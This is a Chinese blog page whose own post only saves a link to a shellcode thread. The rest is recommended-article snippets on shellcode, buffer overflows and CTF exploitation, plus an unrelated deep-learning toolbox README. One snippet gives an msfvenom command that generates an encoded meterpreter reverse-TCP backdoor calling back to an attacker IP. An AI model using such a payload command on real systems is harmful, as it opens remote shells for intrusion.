一个神奇的shellcode

whitehack whitehack 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 2.2k累计阅读 2.3k平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄19年
关注
转载 最新推荐文章于 2026-06-18 11:40:02 发布 2.2k 阅读 AI 写同款· GEO 优化 ›
lua 字节码的加密。 lua作为嵌入式脚本语言，在项目开发中的积极作用毋庸置疑。虽然便捷，但随lua使用者的数量增多，lua暴露出来的项目核心代码的问题的越来越明显。随着官方提供的luac的编译器，能够给lua明文代码做简单的加密。我们来分析一下luac的dump规则。 luac.c文件就是luac.exe的实现部分。 ldump.c和lundump.c 分别是lua的保存和读取字节码的实现部分。 luaU_du 阅读详情

 

 

http://bbs.pediy.com/showthread.php?t=122260

 

之所以神奇 因为我暂时看不太懂   先保存起来

收录于
杂谈

当前文章被收录于：

杂谈
40 篇文章 0 人学习
订阅专栏 查看详情
标签
#winapi #byte #c #system
漏洞复现剖析：CCProxy缓冲区溢出攻击与Shellcode实战 本文详细剖析了CCProxy缓冲区溢出漏洞的复现过程，包括环境搭建、漏洞触发、崩溃分析及Shellcode实战。通过精准定位偏移量、寻找跳板指令和优化Shellcode，展示了完整的攻击链。文章还提供了Python攻击脚本编写和调试技巧，帮助安全研究人员深入理解缓冲区溢出攻击原理与防御措施。 阅读详情

相关推荐

CTF栈溢出实战：Python与pwntools自动化利用入门

栈溢出是二进制安全领域的核心漏洞类型，其原理源于程序对用户输入缺乏边界检查，导致数据覆盖关键内存区域。理解函数调用约定、栈帧布局和返回地址劫持是掌握利用技术的基础。在CTF竞赛和渗透测试中，栈溢出利用具有极高的技术价值，能够实现任意代码执行和权限提升。通过Python编程结合pwntools工具链，可以自动化完成偏移计算、payload构造和交互过程，显著提升利用效率和可靠性。本文以CTFshow平台入门题目为例，系统讲解从环境搭建到ROP链构建的完整实战流程，涵盖ret2text、ret2shellcod

weixin_30664051的博客 545

免杀对抗-MSF\CS-shellcode反序列化

免杀对抗-MSF\CS-shellcode反序列化

m0_62172162的博客 767

一款开源的ShellCode生成引擎

1.本工具只支持x86 coff格式的文件 2.全局变量记得初始化，测试的时候发现有事全局变量没有初始化会获取不到 3.关闭MSVC的全局优化，开启全局优化时OBJ中的信息无法获取 4.不要在代码中使用c++一些特性，类似异常等，测试类时发现基本的类是可以满足的不要使用c++的一些库，切记

【网络资源学习笔记】ShellCode相关内容学习

个人shellcode相关网络资源学习记录

天在等我，菜鸟想飞 3187

Decoda(LUA开发环境)v1.16中文免费绿色版

Decoda(LUA开发环境)是目前最好的Lua调试工具，可以注入到宿主程序内对lua脚本进行调试，还可以设置断点观察变量的值，功能非常强大。 如果你会VS，那么你一定会用decoda调试lua程序。 decoda之前是收费软件，因为巴拉巴拉巴拉~~最近开源了。 由于需要，工作中的所有Lua文件都是UTF8格式的。之前我是在破解decoda主文件以后，直接在文件末尾添加的shellcode实

shellcode转换工具

shellcode转换工具

应急响应-网站入侵篡改指南_Webshell内存马查杀_漏洞排查_时间分析

一般安服在做项目的时候，经常会遇到需要做应急响应的工作，所谓应急响应就是当网站出现异常的时候，根据相关的问题对其进行溯源分析，发现问题，解决问题。

剁椒鱼头没剁椒的博客 2913

强大的phpwebshellcode

强大的phpwebshellcode

使用MSF打造各种ShellCode

MSF 生成各种后门 Windows: 生成Windows后门. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux...

weixin_30824599的博客 2518

植物GO注释

本文主要是对没有GO term库的植物进行注释。 1、选用AgriGo 进行注释，在agriGO中点击species后，查看与你目标物种相近的物种作为库 2、比如我以甜菜为例 为了找到和GO term对应的ID，先找到PLAZA，进入网站https://bioinformatics.psb.ugent.be/plaza/versions/plaza_v3_di...

weixin_30300225的博客 2223

K230开发板实战：YOLOv8n模型部署全流程（附常见报错解决方案）

本文详细介绍了在K230开发板上部署YOLOv8n模型的完整流程，包括模型选型、配置文件优化和运行时调优。特别针对常见的'生成部署文件异常'等问题提供了实用解决方案，帮助开发者高效完成嵌入式AI模型的部署与优化。

g8f9d0s1a2的博客 1047

推荐文章：利用Callback注入Shellcode的神奇工具 - Callback_Shellcode_Injection

推荐文章：利用Callback注入Shellcode的神奇工具 - Callback_Shellcode_Injection 1. 项目介绍 Callback_Shellcode_Injection 是一个开源项目，专注于通过回调函数（Callbacks）实现Shellcode注入的证明概念（Proof-of-Concepts, PoCs）。这个项目由安全研究人员 @bofheaded 和 @0x...

gitblog_00058的博客 426

宏基因组功能注释实战：从CAZyme到VFDB的完整流程（含数据库下载与脚本优化）

本文详细介绍了宏基因组功能注释的完整流程，涵盖CAZyme、eggNOG、CARD和VFDB四大核心数据库的实战应用。从环境配置、数据库下载与预处理到注释流程执行与优化，提供了全面的操作指南和脚本优化建议，帮助研究人员高效完成宏基因组数据分析。特别针对CAZyme注释等关键步骤给出了参数优化方案和常见问题排查方法。

weixin_29289821的博客 295

探索神秘的Shellcode Fluctuation PoC：内存防护的优雅规避艺术

探索神秘的Shellcode Fluctuation PoC：内存防护的优雅规避艺术 ShellcodeFluctuationAn advanced in-memory evasion technique fluctuating shellcode's memory protection between RW/NoAccess & RX and then encrypting/decryptin...

gitblog_00075的博客 457

vue项目表格甘特图开发

🧩 甘特图可以管理项目进度，生产进度等信息，管理者可以更直观的查看内容。

qq_35946021的博客 991

课题申报新手入门必备指南！利用AI辅助搞定 6大关键部分，高效提升申报成功率（附AI提示词）

以下是我（或团队）与本课题相关的已有基础：【如：承担过的公开课、校本教研活动、教学改革实践、课程建设、区级/校级课题、教学反思积累等】请你完成以下任务：1）判断哪些内容与本课题的研究目标和内容具有直接或间接关联；以下是我当前的研究设想（可能比较笼统）：【填写你的研究想法 / 教学困惑 / 初步设想】，请你帮我完成以下任务：1）先判断该设想中隐含的核心研究问题是什么；以下是我目前拟定的研究目标，请你从课题评审视角进行校正：【逐条粘贴你已有的研究目标】，请你帮我：1）判断每个目标是否具体、清晰、可评估；

智能AI让学术科研更容易 917

缓冲区溢出漏洞攻击——Shellcode编写

一、实验内容 利用一个程序漏洞，编写shellcode，达成效果：蹦出对话框，显示“You have been hacked!(by JWM)” 二、实验原理 因为输入了过长的字符，而缓冲区本身又没有有效的验证机制，导致过长的字符覆盖了返回地址。如果覆盖的返回地址是一个有效地址，而在该地址处又有有效的指令，那么系统就会毫不犹豫地跳到该地址处去执行指令。 本次实验中用到了跳板

liujiayu2的专栏 1777

人工智能之数学基础：弄懂数学本质，让我们不再害怕数学

数学的用途远远超过了人们的想象，甚至无处不在，任何领域都需要用到数学知识，人工智能也不例外。我将尽可能地将数学知识和机器学习算法相结合，让大家知道这些数学知识咋人工智能领域中的应用，使得数学的学习不会过于枯燥，同时也帮助大家扫清在学习算法过程中的数学障碍。除此之外，我还希望帮助大家建立一种不一样的数学思维，不再将数学看成是符号的演算、公式的推导，而是将数学看成是一种描述这个世界的工具，这样你就会发现这个世界处处有数学。当我们面对问题的时候，你是否会对问题进行抽象，然后通过数学来解决问题？

huanfeng_AI的博客 630

pwn刷题num30----栈溢出修改栈上参数 或 mprotect修改内存权限 + ret2shellcode

BUUCTF-PWN-get_started_3dsctf_2016 首先查保护–>看链接类型–>赋予程序可执行权限–>试运行 32位程序，小端序 开启部分RELRO-----got表仍可写 未开启canary保护-----存在栈溢出 开启NX保护-----堆栈不可执行 未开启PIE-----程序地址为真实地址 静态链接 Qual a palavrinha magica? 中文意思是 什么是神奇的词？ 很奇怪，ida看一下伪代码 栈溢出，gets函数输入字符串给v4，未限制输入的

tbsqigongzi的博客 2370

SIMULINK开发项目实例 1000 例专栏之第847例--基于飞行控制与稳定性的场景实例：多旋翼无人机在风扰动下的稳定性分析

本文介绍了使用Simulink进行多旋翼无人机风扰动稳定性分析的完整流程。首先建立包含动力学模型、控制系统和环境模拟三大模块的仿真系统，其中动力学模型基于牛顿-欧拉方程，控制系统采用PID调节器。重点展示了MATLAB函数实现的风扰动模型和姿态控制算法，通过设置输入信号和输出显示模块完成闭环仿真。最后通过多次风速条件下的仿真测试评估控制系统的抗干扰能力和稳定性表现，为无人机控制系统设计提供了有效的仿真验证方法。

xiaoheshang_123的博客 322

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目，保存在这里方便以后使用直接下载

关于在做绕开SafeSEH的一个实验时（章节：11.6）一个神奇的事情

事情是这样，我在安排shellcode的时候，需要先布置168个字节的真正的攻击代码，然后布置40个字节的\x90填充，然后是其他机器码，但是神奇的是在程序调试的时候我居然在栈区看到了41个90(导致后面的一个不对，程序直接崩溃，内存写入错误，而且通过错误看到是最后的四个字节错位了)，于是我把shellcode改成39个\x90，居然用OD调试看到栈区是40个90，我就纳闷了，有图有真相： sh

流浪天空 874

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

shellcode之简单的栈溢出实验

　　最近看了0day和The shellcoder's handbook,对栈溢出有了些了解。并且对书上的实验也自己做了些。自己动手才真正把看到的知识变成自己的。 　　今天在看handbook的时候，按照书上的代码来时间操作，发现实现不聊，百思不得其解，最后自己用ollydbg分析了下，把它改了改，顺利的跑了起来，达到了自己的目的。 很是高兴。凡事还是要多琢磨，多去研究，总会得到些意想不到的东...

weixin_30715523的博客 144

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等，可在创建的窗口进行控制

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

探索未来安全领域新星：无执行权限的ShellCode加载器

探索未来安全领域新星：无执行权限的ShellCode加载器 去发现同类优质开源项目:https://gitcode.com/ 在当今网络安全的战场上，一个革命性的项目横空出世——《No_X_Memory_ShellCode_Loader》。该项目由一位充满激情的安全研究者推出，旨在解决传统ShellCode加载方式所面临的种种挑战，其创新之处在于能够在不赋予内存执行权限的情况下加载并执行Shell...

gitblog_00034的博客 454
上一篇： 剽窃vs2010 mfc 工程 让程序自动嵌入xp界面风格 系统风格
下一篇： CriticalSection临界区封装类
点赞 0
评论 0
书签 书签 0
whitehack
whitehack
博客等级 码龄19年 67粉丝 123原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值